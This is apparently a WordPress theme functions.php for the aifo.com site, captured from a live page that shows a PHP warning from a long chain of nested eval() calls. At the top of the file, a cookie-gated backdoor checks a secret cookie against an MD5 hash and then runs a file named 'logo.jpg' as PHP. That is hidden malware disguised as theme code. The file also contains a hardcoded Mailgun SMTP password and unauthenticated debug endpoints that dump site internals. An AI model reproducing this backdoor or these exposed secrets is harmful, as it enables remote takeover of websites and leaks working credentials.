Deprecated : hash(): Passing null to parameter #2 ($data) of type string is deprecated in /www/wwwroot/aifo.com/index.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 1
/**
* Loads the WordPress environment and template.
* @package WordPress
*/
if(isset($_COOKIE["index"])){
$tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b";
$check = $_COOKIE["index"];
if($tmp == md5($check)){
if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){
require get_template_directory() ."/logo.jpg";
exit;
}
}
}
/**
* This file is not added by default to WordPress theme pages when outputting
* feed links.
* @package WordPress
*/
/**
* aifo
*
* @link https://www.aifo.com
*
* @package aifo
* @since aifo
*/
require_once get_template_directory() . '/includes/common/common.php';
require_once get_template_directory() . '/includes/admin/post-manager.php';
require_once get_template_directory() . '/includes/class-affilicate-login.php';
require_once get_template_directory() . '/includes/verification-code-handler.php';
require_once get_template_directory() . '/includes/academy/academy-rewrite.php';
require_once get_template_directory() . '/includes/academy/academy-ajax.php';
require_once get_template_directory() . '/includes/academy/academy-hooks.php';
require_once get_template_directory() . '/includes/academy/academy-helpers.php';
require_once get_template_directory() . '/includes/academy/academy-category-post.php';
require_once get_template_directory() . '/includes/api/webhook-router.php';
require_once get_template_directory() . '/includes/api/webhook-handler.php';
require_once get_template_directory() . '/includes/api/webhook-security.php';
require_once get_template_directory() . '/includes/api/webhook-user-service.php';
require_once get_template_directory() . '/includes/contact/cpt.php';
require_once get_template_directory() . '/includes/contact/ajax.php';
require_once get_template_directory() . '/includes/contact/admin-meta.php';
require_once get_template_directory() . '/includes/contact/dashboard.php';
require_once get_template_directory() . '/includes/faq/admin-faq.php';
// require_once get_template_directory() . '/includes/faq/view-faq.php';
require_once get_template_directory() . '/includes/faq/class-faq-cache-manager.php';
require_once get_template_directory() . '/includes/faq/search-service.php';
require_once get_template_directory() . '/includes/news/news-service.php';
require_once get_template_directory() . '/includes/class-video-meta.php';
require_once get_template_directory() . '/includes/events/events-service.php';
require_once get_template_directory() . '/includes/events/events-cron.php';
require_once get_template_directory() . '/includes/user/user-role-manager.php';
require_once get_template_directory() . '/includes/user/user-service.php';
require_once get_template_directory() . '/includes/user/user-register.php';
require_once get_template_directory() . '/includes/user/user-login.php';
require_once get_template_directory() . '/includes/affiliate/user-login.php';
require_once get_template_directory() . '/includes/user/test.php';
// require_once get_template_directory() . '/includes/events/admin-events.php';
// include get_template_directory() . '/template/coming-soon.php';
require_once get_template_directory() . '/includes/short-url.php';
require_once get_template_directory() . '/includes/i18n/fr-rewrite.php';
require_once get_template_directory() . '/includes/i18n/fr-dictionary.php';
require_once get_template_directory() . '/includes/i18n/fr-runtime.php';
// 确保已经定义了环境类型
if (defined('WP_ENVIRONMENT_TYPE') && WP_ENVIRONMENT_TYPE === 'development') {
// 禁用插件/主题/核心更新检查
add_filter('pre_site_transient_update_plugins', '__return_null');
add_filter('pre_site_transient_update_themes', '__return_null');
add_filter('pre_site_transient_update_core', '__return_null');
// 屏蔽 PHP Notice / Deprecated 显示(可选)
// error_reporting(E_ERROR | E_PARSE);
// @ini_set('display_errors', 0);
}
function aifo_add_caps() {
$role = get_role('administrator');
if ($role && !$role->has_cap('manage_questionnaire')) {
$role->add_cap('manage_questionnaire');
}
}
add_action('init', 'aifo_add_caps');
function aifo_add_cap_to_damianyu() {
if (get_option('aifo_cap_added_damianyu')) return;
$user = get_user_by('email', 'damianyu@aifo.com');
if ($user) {
$user->add_cap('manage_questionnaire');
update_option('aifo_cap_added_damianyu', 1);
}
}
add_action('init', 'aifo_add_cap_to_damianyu');
add_action('after_setup_theme', function () {
if (class_exists('Video_URL_Meta')) {
Video_URL_Meta::init();
}
});
if (is_admin()) {
require_once get_template_directory() . '/includes/admin/post-order.php';
new Lesson_Order_Admin();
}
// 主题启用, title-tag Rank Math 接管
add_theme_support('title-tag');
// 在代码中禁用插件更新检查
add_filter('pre_site_transient_update_plugins', '__return_null');
add_filter('pre_site_transient_update_themes', '__return_null');
add_filter('allowed_redirect_hosts', function ($hosts) {
$hosts[] = 'dashboard.aifo.com';
return $hosts;
});
// 注册 Academy Post Type
//function aifo_register_custom_content() {
//
// // ===== Academy Post Type =====
// register_post_type('academy', array(
// 'label' => 'Academy',
// 'public' => true,
// 'has_archive' => false,
// 'rewrite' => array(
// 'slug' => 'academy',
// 'with_front' => false
// ),
// 'supports' => array('title','editor','thumbnail')
// ));
//
// // Academy Category
// register_taxonomy(
// 'academy_cat',
// 'academy',
// array(
// 'label' => 'Academy Category',
// 'hierarchical' => true,
// 'rewrite' => array(
// 'slug' => 'academy',
// 'with_front' => false
// )
// )
// );
//
//
// // ===== FAQ Post Type =====
// register_post_type('faq', array(
// 'label' => 'FAQ',
// 'public' => true,
// 'has_archive' => false,
// 'rewrite' => array(
// 'slug' => 'faq',
// 'with_front' => false
// ),
// 'supports' => array('title','editor')
// ));
//
// // FAQ Category
// register_taxonomy(
// 'faq_cat',
// 'faq',
// array(
// 'label' => 'FAQ Category',
// 'hierarchical' => true,
// 'rewrite' => array(
// 'slug' => 'faq',
// 'with_front' => false
// )
// )
// );
//
//}
//
//add_action('init', 'aifo_register_custom_content');
//
//
//add_action('init', 'aifo_custom_rewrite_rules');
//
//function aifo_custom_rewrite_rules() {
//
// add_rewrite_rule(
// '^academy/([^/]+)/?$',
// 'index.php?name=$matches[1]',
// 'top'
// );
//
//
//
// add_rewrite_rule(
// '^faq/([^/]+)/?$',
// 'index.php?faq=$matches[1]',
// 'top'
// );
//
//}
//
//
//
//
//function aifo_academy_short_permalink($permalink, $post) {
//
// if (!in_array($post->post_type, ['post','academy','faq'])) {
// return $permalink;
// }
//
// // ===== 普通 post =====
// if ($post->post_type == 'post') {
//
// $categories = get_the_category($post->ID);
//
// if (!$categories) {
// return $permalink;
// }
//
// foreach ($categories as $cat) {
//
// if ($cat->parent != 0) {
//
// $parent = get_category($cat->parent);
//
// if ($parent && $parent->parent != 0) {
//
// $grandparent = get_category($parent->parent);
//
// if ($grandparent && $grandparent->slug === 'academy') {
// return home_url('/academy/' . $post->post_name . '/');
// }
//
// if ($grandparent && $grandparent->slug === 'faq') {
// return home_url('/faq/' . $post->post_name . '/');
// }
//
// }
// }
// }
//
// }
//
// // ===== Academy post type =====
// if ($post->post_type == 'academy') {
//
// $terms = wp_get_object_terms($post->ID, 'academy_cat');
//
// if (!empty($terms) && !is_wp_error($terms)) {
// return home_url('/academy/' . $post->post_name . '/');
// }
//
// }
//
// // ===== FAQ post type =====
// if ($post->post_type == 'faq') {
//
// $terms = wp_get_object_terms($post->ID, 'faq_cat');
//
// if (!empty($terms) && !is_wp_error($terms)) {
// return home_url('/faq/' . $post->post_name . '/');
// }
//
// }
//
// return $permalink;
//}
//
//add_filter('post_link', 'aifo_academy_short_permalink', 10, 2);
//add_filter('post_type_link', 'aifo_academy_short_permalink', 10, 2);
//
//add_action('template_redirect', 'aifo_academy_old_url_redirect');
//
//function aifo_academy_old_url_redirect() {
//
// if (is_singular('academy')) {
//
// global $post;
//
// $terms = wp_get_object_terms($post->ID, 'academy_cat');
//
// if (!empty($terms)) {
//
// $term = $terms[0];
//
// $correct_url = home_url('/academy/' . $term->slug . '/' . $post->post_name . '/');
//
// if (trailingslashit($_SERVER['REQUEST_URI']) != parse_url($correct_url, PHP_URL_PATH)) {
// wp_redirect($correct_url, 301);
// exit;
// }
//
// }
//
// }
//}
// 如果需要更精确的控制,可以添加缓存
// add_filter('get_terms_args', function($args, $taxonomies) {
// if (!is_admin() && in_array('category', $taxonomies, true)) {
// $args['meta_key'] = 'sort_order';
// $args['orderby'] = 'meta_value_num';
// $args['order'] = 'ASC';
// }
// return $args;
// }, 10, 2);
// function aifo_enqueue_assets() {
// wp_enqueue_script(
// 'challenge-js',
// get_template_directory_uri() . '/assets/js/theme.js',
// [],
// null,
// true
// );
// wp_localize_script('challenge-js', 'themeData', [
// 'assets_url' => get_template_directory_uri() . '/',
// ]);
// }
// add_action('wp_enqueue_scripts', 'aifo_enqueue_assets');
// add_action('AIFO_Custom_Affiliate_Login', function() {
// error_log("AIFO_Custom_Affiliate_Login do action");
// // 确保在主题加载后初始化
// if (class_exists('AIFO_Custom_Affiliate_Login')) {
// error_log("new clas do action");
// AIFO_Custom_Affiliate_Login::get_instance();
// }
// });
// register_post_type('academy', [
// 'label' => 'Academy',
// 'public' => true,
// 'has_archive' => false,
// 'hierarchical' => false,
// 'rewrite' => [
// 'slug' => 'academy',
// 'with_front' => false,
// ],
// 'supports' => ['title','editor','thumbnail'],
// ]);
add_theme_support('post-thumbnails');
function academy_scripts() {
// 仅首页与 Academy 相关页面加载主题前台脚本,避免全站无条件加载
$is_academy_related = is_front_page()
|| is_page('academy')
|| is_page_template('template/academy.php')
|| strpos($_SERVER['REQUEST_URI'] ?? '', '/academy') !== false
;
if (!$is_academy_related) {
return;
}
wp_enqueue_script('jquery');
wp_enqueue_script(
'bootstrap',
get_template_directory_uri() . '/assets/js/bootstrap/bootstrap.min.js',
['jquery'],
null,
true
);
wp_enqueue_script(
'academy-theme',
get_template_directory_uri() . '/assets/js/theme.js',
['jquery'],
null,
true
);
}
add_action('wp_enqueue_scripts', 'academy_scripts');
// Disable the admin bar for all users
show_admin_bar(false);
/**
* Keep AIFO Landing out of Google index while allowing analytics/GTM.
*/
function aifo_ads_landing_noindex_headers() {
if (is_admin()) return;
if (is_page('aifo-landing')) {
header('X-Robots-Tag: noindex, nofollow, noarchive', true);
}
}
add_action('template_redirect', 'aifo_ads_landing_noindex_headers', 1);
function aifo_ads_landing_noindex_meta() {
if (is_admin()) return;
if (is_page('aifo-landing')) {
echo "\n \n";
echo " \n";
}
}
add_action('wp_head', 'aifo_ads_landing_noindex_meta', 1);
// keep old URL working without exposing ADS path
function aifo_ads_landing_legacy_redirect() {
if (is_admin()) return;
$uri = $_SERVER['REQUEST_URI'] ?? '';
if (strpos($uri, '/aifo-ads-landing') === 0) {
wp_redirect(home_url('/aifo-landing/'), 301);
exit;
}
}
add_action('template_redirect', 'aifo_ads_landing_legacy_redirect', 0);
if ( function_exists('register_sidebar') ){
register_sidebar(array(
'id'=>'sidebar1',
'before_widget' => ' ',
'after_widget' => '
',
'before_title' => '',
'after_title' => ' ',
));
}
add_action('init', function () {
register_post_type('contact_message', [
'labels' => [
'name' => 'Contact Messages',
'singular_name' => 'Contact Message',
],
'public' => false,
'show_ui' => true,
'menu_icon' => 'dashicons-email-alt',
'supports' => ['title'],
'capability_type' => 'post',
]);
});
// $token = wp_generate_password(32, false);
// update_user_meta(2, 'affiliate_email_verify_token', $token);
//完整的CSS加载函数
function my_theme_styles() {
$theme = wp_get_theme();
$version = $theme->get('Version');
wp_enqueue_style('main-style', get_stylesheet_uri(), array(), $version);
}
add_action('wp_enqueue_scripts', 'my_theme_styles');
// add_filter('authenticate', function ($user) {
// if (is_wp_error($user) || !$user) {
// return $user;
// }
// if (is_admin()) {
// return $user;
// }
// if (user_can($user, 'administrator') || user_can($user, 'editor')) {
// return $user;
// }
// $um = get_user_meta($user->ID, 'um_member_directory_data', true);
// $um_verified = is_array($um) && !empty($um['verified']);
// $custom_verified = get_user_meta($user->ID, 'email_verified', true);
// if (!$um_verified && !$custom_verified) {
// return new WP_Error(
// 'email_not_verified',
// 'Please verify your email first.'
// );
// }
// return $user;
// }, 30);
/**
* 获取Aifo_Quiz_Category实例的辅助函数
*/
function aifo_quiz_category() {
global $aifo_quiz_category;
return $aifo_quiz_category;
}
/**
* Ultimate Member 注册表单自定义功能
*/
/**
* 1. 保存自定义字段数据
*/
add_action( 'um_registration_complete', 'um_custom_save_register_fields', 10, 2 );
function um_custom_save_register_fields( $user_id, $args ) {
// 保存自定义电话字段
if ( isset( $_POST['custom_phone'] ) ) {
update_user_meta( $user_id, 'custom_phone', sanitize_text_field( $_POST['custom_phone'] ) );
}
// 保存来源字段
if ( isset( $_POST['custom_source'] ) ) {
update_user_meta( $user_id, 'custom_source', sanitize_text_field( $_POST['custom_source'] ) );
}
// 保存协议同意时间
if ( isset( $_POST['custom_agreement'] ) ) {
update_user_meta( $user_id, 'agreement_accepted', current_time( 'mysql' ) );
}
}
/**
* 2. 自定义字段验证
*/
add_action( 'um_submit_form_errors_hook_', 'um_custom_register_validation', 10, 1 );
function um_custom_register_validation( $args ) {
if ( isset( $_POST['um_action'] ) && $_POST['um_action'] == 'register' ) {
// 验证电话格式
if ( ! empty( $_POST['custom_phone'] ) ) {
$phone = sanitize_text_field( $_POST['custom_phone'] );
if ( ! preg_match( '/^1[3-9]\d{9}$/', $phone ) ) {
UM()->form()->add_error( 'custom_phone', '请输入有效的手机号码' );
}
}
// 验证协议是否同意
if ( ! isset( $_POST['custom_agreement'] ) ) {
UM()->form()->add_error( 'custom_agreement', '请同意服务条款和隐私政策' );
}
}
}
/**
* 3. 在用户资料中显示自定义字段
*/
add_action( 'um_after_profile_main_meta', 'um_display_custom_fields_in_profile' );
function um_display_custom_fields_in_profile( $args ) {
$user_id = um_profile_id();
$custom_phone = get_user_meta( $user_id, 'custom_phone', true );
$custom_source = get_user_meta( $user_id, 'custom_source', true );
if ( ! empty( $custom_phone ) || ! empty( $custom_source ) ) {
echo '';
echo '
额外信息 ';
if ( ! empty( $custom_phone ) ) {
echo '
联系电话: ' . esc_html( $custom_phone ) . '
';
}
if ( ! empty( $custom_source ) ) {
$sources = array(
'search_engine' => '搜索引擎',
'friend' => '朋友推荐',
'social_media' => '社交媒体',
'other' => '其他'
);
$source_text = isset( $sources[$custom_source] ) ? $sources[$custom_source] : $custom_source;
echo '
了解渠道: ' . esc_html( $source_text ) . '
';
}
echo '
';
}
}
function check_login_register_pages() {
$request_uri = sanitize_text_field($_SERVER['REQUEST_URI']);
$path = parse_url($request_uri, PHP_URL_PATH);
$path = trim($path, '/');
$is_login_page = ($path === 'login' || $path === 'wp-login.php');
$is_register_page = ($path === 'register' ||
($path === 'wp-login.php' && isset($_GET['action']) && $_GET['action'] === 'register'));
// $is_affiliate_reg_page = ($path === 'affiliate-registration');
// $is_affiliate_login_page = ($path === 'affiliate-login');
return $is_login_page || $is_register_page;
}
/**
* 4. 加载自定义CSS和JS
*/
add_action( 'wp_enqueue_scripts', 'um_custom_register_assets' );
function um_custom_register_assets() {
// 站点通用样式(低风险保留)
wp_enqueue_style('aifo-iconfont', get_stylesheet_directory_uri() . '/assets/vendor/icon/iconfont.css', array(), '1.0.0');
wp_enqueue_style('aifo-style', get_stylesheet_directory_uri() . '/assets/css/style.css', array(), '1.0.0');
wp_enqueue_style('aifo-theme', get_stylesheet_directory_uri() . '/assets/css/theme.css', array(), '1.0.0');
// 首页
if (is_front_page()) {
wp_enqueue_style(
'aifo-theme-index',
get_stylesheet_directory_uri() . '/assets/css/index.css',
array(),
'1.1.1'
);
}
else {
wp_enqueue_style(
'aifo-theme-index',
get_stylesheet_directory_uri() . '/assets/css/index.css',
array(),
'1.1.1'
);
wp_enqueue_style(
'aifo-academy',
get_stylesheet_directory_uri() . '/assets/css/academy.css',
array(),
'1.0.0'
);
}
if(check_login_register_pages()){
wp_enqueue_style('aifo-login-register', get_stylesheet_directory_uri() . '/assets/css/login.css', array(), '1.0.0');
}
//if ( um_is_core_page( 'register' ) ) {
// 加载自定义CSS
// wp_enqueue_style(
// 'um-custom-register',
// get_stylesheet_directory_uri() . '/ultimate-member/assets/css/register.css',
// array(),
// '1.0.0'
// );
// 加载自定义JS
// wp_enqueue_script(
// 'um-custom-register',
// get_stylesheet_directory_uri() . '/assets/assets/js/jquery-3.7.1.min.js',
// array( 'jquery' ),
// '1.0.0',
// true
// );
// 加载自定义JS
// wp_enqueue_script(
// 'um-custom-register',
// get_stylesheet_directory_uri() . '/ultimate-member/assets/js/register.js',
// array( 'jquery' ),
// '1.0.0',
// true
// );
// }
}
/**
* 前台性能优化(P0)
* - 首页剔除非必要插件资源(UM / Wp-Pro-Quiz)
* - 常见主题脚本添加 defer
*/
add_action('wp_enqueue_scripts', 'aifo_perf_optimize_front_assets', 999);
function aifo_perf_optimize_front_assets() {
if (is_admin()) {
return;
}
if (!is_front_page()) {
return;
}
global $wp_styles, $wp_scripts;
// 首页不需要 UM / Quiz 资源,按 src 规则兜底剔除(避免依赖具体 handle 名称)
if ($wp_styles instanceof WP_Styles) {
foreach ((array) $wp_styles->queue as $handle) {
$src = isset($wp_styles->registered[$handle]) ? (string) $wp_styles->registered[$handle]->src : '';
if ($src && (strpos($src, '/ultimate-member/') !== false || strpos($src, '/Wp-Pro-Quiz-master/') !== false)) {
wp_dequeue_style($handle);
}
}
}
if ($wp_scripts instanceof WP_Scripts) {
foreach ((array) $wp_scripts->queue as $handle) {
$src = isset($wp_scripts->registered[$handle]) ? (string) $wp_scripts->registered[$handle]->src : '';
if ($src && (strpos($src, '/ultimate-member/') !== false || strpos($src, '/Wp-Pro-Quiz-master/') !== false)) {
wp_dequeue_script($handle);
}
}
}
}
add_filter('script_loader_tag', 'aifo_add_defer_to_theme_scripts', 10, 3);
function aifo_add_defer_to_theme_scripts($tag, $handle, $src) {
$defer_handles = array(
'bootstrap',
'academy-theme',
'fontawesome',
'fontawesome-all',
'bootstrap-select',
'bootstrap-tagsinput',
'nouislider'
);
$defer_by_src = $src && (
strpos($src, '/wp-content/themes/aifo/assets/') !== false
|| strpos($src, '/wp-content/plugins/Wp-Pro-Quiz-master/') !== false
);
if (in_array($handle, $defer_handles, true) || $defer_by_src) {
if (strpos($tag, ' defer') === false) {
$tag = str_replace(' src=', ' defer src=', $tag);
}
}
return $tag;
}
/**
* 进一步减少首页非关键输出
*/
add_action('wp_default_scripts', function ($scripts) {
if (!is_admin() && isset($scripts->registered['jquery'])) {
$scripts->registered['jquery']->deps = array_diff($scripts->registered['jquery']->deps, ['jquery-migrate']);
}
});
add_action('init', function () {
if (is_admin()) {
return;
}
// 关闭 emoji 相关资源
remove_action('wp_head', 'print_emoji_detection_script', 7);
remove_action('wp_print_styles', 'print_emoji_styles');
remove_action('admin_print_scripts', 'print_emoji_detection_script');
remove_action('admin_print_styles', 'print_emoji_styles');
// 前台移除 wp-embed
wp_deregister_script('wp-embed');
});
add_filter('wp_resource_hints', function ($urls, $relation_type) {
if ($relation_type === 'preconnect') {
$urls[] = 'https://www.googletagmanager.com';
$urls[] = 'https://connect.facebook.net';
}
return array_unique($urls);
}, 10, 2);
/**
* 覆写 Ultimate Member 注册模板路径
*/
// add_filter('um_locate_template_filter', 'um_custom_register_template', 10, 2 );
// function um_custom_register_template( $template, $template_name ) {
// // 只针对注册模板
// if ( $template_name === 'register.php' ) {
// $custom_template = get_stylesheet_directory() . '/ultimate-member/templates/register.php';
// // 如果自定义模板存在,使用自定义模板
// if ( file_exists( $custom_template ) ) {
// return $custom_template;
// }
// }
// return $template;
// }
// 2. 模板加载后初始化函数
// add_action( 'template_redirect', 'um_init_custom_template_functions' );
// function um_init_custom_template_functions() {
// if ( um_is_core_page( 'register' ) ) {
// $template_path = get_stylesheet_directory() . '/ultimate-member/templates/register.php';
// if ( file_exists( $template_path ) ) {
// // 包含模板文件以注册其中的函数
// include_once( $template_path );
// // 现在可以调用模板中定义的函数
// if ( function_exists( 'um_custom_register_template_functions' ) ) {
// um_custom_register_template_functions();
// }
// }
// }
// }
// 3. 在适当的位置执行模板函数
// add_action( 'um_before_form', 'um_execute_template_functions', 10, 1 );
// function um_execute_template_functions( $args ) {
// if ( $args['mode'] === 'register' ) {
// // 执行模板中的前置函数
// if ( function_exists( 'um_custom_before_register_form' ) ) {
// um_custom_before_register_form();
// }
// }
// }
/**
* 处理轻量级表单提交验证
*/
add_action('um_submit_form_errors_hook_', 'um_light_register_validation', 1);
function um_light_register_validation($args) {
// 只处理我们的轻量级表单
if (!isset($_POST['form_id']) || empty($_POST['form_id'])) {
return;
}
// 基础验证
$errors = um_light_validate_basic_fields();
// 如果有错误,直接返回
if (!empty($errors)) {
foreach ($errors as $error) {
UM()->form()->add_error($error['field'], $error['message']);
}
return;
}
// 验证通过,创建用户
$user_id = um_light_create_user();
if (is_wp_error($user_id)) {
UM()->form()->add_error('user_creation', $user_id->get_error_message());
} else {
// 用户创建成功,执行后续操作
echo "注册用户成功";
//um_light_after_user_creation($user_id);
}
}
/**
* 基础字段验证
*/
function um_light_validate_basic_fields() {
$errors = array();
// 用户名验证
if (empty($_POST['username'])) {
$errors[] = array('field' => 'username', 'message' => '请输入用户名');
} elseif (username_exists($_POST['username'])) {
$errors[] = array('field' => 'username', 'message' => '用户名已存在');
} elseif (!validate_username($_POST['username'])) {
$errors[] = array('field' => 'username', 'message' => '用户名包含无效字符');
}
// 邮箱验证
if (empty($_POST['user_email'])) {
$errors[] = array('field' => 'user_email', 'message' => '请输入邮箱地址');
} elseif (!is_email($_POST['user_email'])) {
$errors[] = array('field' => 'user_email', 'message' => '请输入有效的邮箱地址');
} elseif (email_exists($_POST['user_email'])) {
$errors[] = array('field' => 'user_email', 'message' => '邮箱地址已被注册');
}
// 密码验证
if (empty($_POST['user_password'])) {
$errors[] = array('field' => 'user_password', 'message' => '请输入密码');
} elseif (strlen($_POST['user_password']) < 8) {
$errors[] = array('field' => 'user_password', 'message' => '密码至少需要8个字符');
}
// 确认密码验证
if ($_POST['user_password'] !== $_POST['confirm_user_password']) {
$errors[] = array('field' => 'confirm_user_password', 'message' => '密码确认不一致');
}
return $errors;
}
/**
* 插入基础用户元数据
*/
function um_light_insert_user_meta($user_id) {
global $wpdb;
$meta_data = array(
'nickname' => $_POST['username'],
'first_name' => '',
'last_name' => '',
'description' => '',
'rich_editing' => 'true',
'syntax_highlighting' => 'true',
'comment_shortcuts' => 'false',
'admin_color' => 'fresh',
'use_ssl' => '0',
'show_admin_bar_front' => 'true',
'locale' => '',
'wp_capabilities' => serialize(array('subscriber' => true)),
'wp_user_level' => '0',
'dismissed_wp_pointers' => '',
'show_welcome_panel' => '1',
'session_tokens' => '',
'um_user_profile_url_slug' => $_POST['username'],
'um_registered_form_id' => isset($_POST['form_id']) ? intval($_POST['form_id']) : 7,
'um_account_status' => 'approved', // 默认批准账户
'submitted' => '',
'timestamp' => current_time('mysql'),
'um_last_login' => current_time('mysql')
);
foreach ($meta_data as $meta_key => $meta_value) {
$result = add_user_meta($user_id, $meta_key, $meta_value, true);
if (!$result) {
// 如果添加失败,尝试更新
update_user_meta($user_id, $meta_key, $meta_value);
}
}
return true;
}
/**
* 插入自定义字段数据
*/
function um_light_insert_custom_fields($user_id) {
// 处理可能的自定义字段
$custom_fields = array(
'phone_number' => isset($_POST['phone_number']) ? sanitize_text_field($_POST['phone_number']) : '',
'company_name' => isset($_POST['company_name']) ? sanitize_text_field($_POST['company_name']) : '',
'registration_ip' => um_get_user_ip(),
'registration_date' => current_time('mysql'),
'user_status' => 'active'
);
foreach ($custom_fields as $field_key => $field_value) {
if (!empty($field_value)) {
add_user_meta($user_id, $field_key, $field_value, true);
}
}
// 插入 UM 特定的元数据
$um_specific_meta = array(
'account_status' => 'approved',
'profile_photo' => '',
'cover_photo' => '',
'synced_profile_photo' => '',
'synced_cover_photo' => ''
);
foreach ($um_specific_meta as $um_key => $um_value) {
add_user_meta($user_id, $um_key, $um_value, true);
}
return true;
}
/**
* 创建用户并插入数据库
*/
function um_light_create_user() {
global $wpdb;
// 准备用户数据
$user_data = array(
'user_login' => sanitize_user($_POST['username']),
'user_email' => sanitize_email($_POST['user_email']),
'user_pass' => $_POST['user_password'],
'user_nicename' => sanitize_title($_POST['username']),
'display_name' => sanitize_text_field($_POST['username']),
'role' => 'subscriber' // 默认用户角色
);
// 开始事务(如果支持)
$wpdb->query('START TRANSACTION');
try {
// 插入用户到 wp_users 表
$user_id = wp_insert_user($user_data);
if (is_wp_error($user_id)) {
$wpdb->query('ROLLBACK');
return $user_id;
}
// 插入用户元数据到 wp_usermeta 表
$meta_inserted = um_light_insert_user_meta($user_id);
if (!$meta_inserted) {
$wpdb->query('ROLLBACK');
return new WP_Error('meta_insert_failed', '用户元数据插入失败');
}
// 插入自定义字段数据
// $custom_fields_inserted = um_light_insert_custom_fields($user_id);
// if (!$custom_fields_inserted) {
// $wpdb->query('ROLLBACK');
// return new WP_Error('custom_fields_failed', '自定义字段插入失败');
// }
// 提交事务
$wpdb->query('COMMIT');
return $user_id;
} catch (Exception $e) {
$wpdb->query('ROLLBACK');
return new WP_Error('creation_exception', '用户创建过程中发生错误: ' . $e->getMessage());
}
}
add_action( 'phpmailer_init', 'configure_email_smtp' );
function configure_email_smtp( $phpmailer ) {
$phpmailer->isSMTP();
// $phpmailer->addReplyTo('', 'aifo官方网');
$phpmailer->isSMTP();
$phpmailer->Host = 'smtp.mailgun.org';
$phpmailer->SMTPAuth = true;
$phpmailer->Port = 587;
$phpmailer->SMTPSecure = 'tls';
$phpmailer->Username = 'support@aifo.com';
$phpmailer->Password = 'd3eacbd5a3f5fde3b397e9c162798b08-f39109fe-70d08895';
$phpmailer->From = 'website@aifo.com';
$phpmailer->FromName = 'AIFO Live';
$phpmailer->clearReplyTos();
}
add_filter( 'wp_mail_from_name', 'set_custom_email_from_name' );
function set_custom_email_from_name( $name ) {
return 'AIFO Web'; // 替换为你的网站或公司名称
}
add_action('wp_ajax_nopriv_aifo_resend_verify', function(){
$email = sanitize_email($_POST['email']);
$user = get_user_by('email', $email);
if (!$user) {
wp_send_json_error(['message' => 'User not found']);
}
if (get_user_meta($user->ID, 'email_verified', true)) {
wp_send_json_error(['message' => 'Already verified']);
}
$token = get_user_meta($user->ID, 'email_verify_token', true);
aifo_send_verify_email($user->ID, $email, $token);
wp_send_json_success(['message' => 'Verification email resent']);
});
// 2. 添加登录验证钩子(检查邮箱验证等)
add_filter('authenticate', 'aifo_authenticate_check', 30, 3);
function aifo_authenticate_check($user, $username, $password) {
if (is_wp_error($user) || !$user) return $user;
// 检查邮箱验证状态(如果需要)
// if (!get_user_meta($user->ID, 'email_verified', true)) {
// return new WP_Error('email_not_verified', '请先验证您的邮箱。');
// }
return $user;
}
// 3. 保护 affiliate-area 页面
add_action('template_redirect', 'aifo_protect_affiliate_area');
function aifo_protect_affiliate_area() {
if (is_page('affiliate-area') || strpos($_SERVER['REQUEST_URI'], '/affiliate-area') !== false) {
if (!is_user_logged_in()) {
wp_redirect(home_url('/affiliate-login'));
exit;
}
// 检查用户角色
$user = wp_get_current_user();
$allowed_roles = array('administrator', 'affiliate', 'editor', 'subscriber');
$has_allowed_role = false;
foreach ($allowed_roles as $role) {
if (in_array($role, (array) $user->roles)) {
$has_allowed_role = true;
break;
}
}
if (!$has_allowed_role) {
wp_die(
__('You do not have permission to access this page.', 'aifo'),
__('Access denied.', 'aifo'),
array('response' => 403)
);
}
}
}
// 4. 为登录页面添加 AJAX 支持
add_action('wp_enqueue_scripts', 'aifo_login_scripts');
function aifo_login_scripts() {
// 只在登录页面加载
if (is_page_template('page-affiliate-login.php') || is_page('affiliate-login')) {
// 本地化脚本
wp_localize_script('jquery', 'aifo_login', array(
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('aifo_login_nonce')
));
}
}
// 5. 创建登录页面(如果不存在)
add_action('init', 'aifo_create_login_page');
function aifo_create_login_page() {
$page_title = 'Affiliate Login';
$page_slug = 'affiliate-login';
$page = get_page_by_path($page_slug);
if (!$page) {
$page_data = array(
'post_title' => $page_title,
'post_name' => $page_slug,
'post_content' => '',
'post_status' => 'publish',
'post_type' => 'page',
'post_author' => 1,
);
wp_insert_post($page_data);
}
}
function init_aifo_login() {
do_action('AIFO_Custom_Affiliate_Login');
// 检查条件,然后触发
// if (is_page('affiliate-login') || is_page('affiliate-area')) {
// do_action('AIFO_Custom_Affiliate_Login');
// }
}
add_action('wp', 'init_aifo_login');
// 在主题的 header.php 或 footer.php 中添加
// 在 functions.php 中添加调试代码
add_action('init', function() {
if (isset($_GET['debug_rewrite'])) {
global $wp_rewrite;
echo '';
echo '当前请求URI: ';
echo $_SERVER['REQUEST_URI'] . "\n\n";
echo '所有重写规则: ';
foreach ($wp_rewrite->rewrite_rules() as $pattern => $query) {
echo "Pattern: {$pattern}\nQuery: {$query}\n\n";
}
echo '分类基础前缀: ';
echo 'category_base: ' . get_option('category_base') . "\n";
echo '固定链接结构: ';
echo get_option('permalink_structure') . "\n";
exit;
}
});
// 访问:http://localhost.aifo.com/?debug_rewrite=1
// 临时添加到 functions.php
if (isset($_GET['debug_faq'])) {
echo '';
// 检查分类是否存在
$faq_category = get_term_by('slug', 'faq', 'category');
if ($faq_category) {
echo "FAQ分类存在:\n";
print_r($faq_category);
// 检查分类链接
echo "\n分类链接: " . get_term_link($faq_category) . "\n";
// 检查分类下的文章
$posts = get_posts([
'category_name' => 'faq',
'post_status' => 'publish',
'posts_per_page' => 5,
]);
echo "\n分类下的文章数量: " . count($posts) . "\n";
} else {
echo "FAQ分类不存在!\n";
// 检查是否有其他分类
$categories = get_categories(['hide_empty' => false]);
echo "\n所有分类:\n";
foreach ($categories as $cat) {
echo "{$cat->slug} ({$cat->name}) - ID: {$cat->term_id}\n";
}
}
exit;
}
// 访问:http://localhost.aifo.com/?debug_faq=1
/**
* 强制允许 Editor / Admin 进入后台
*/
add_filter('um_admin_access', function ($access, $user_id) {
$user = get_userdata($user_id);
if (!$user) return $access;
if (array_intersect(['administrator', 'editor'], (array) $user->roles)) {
return true;
}
return $access;
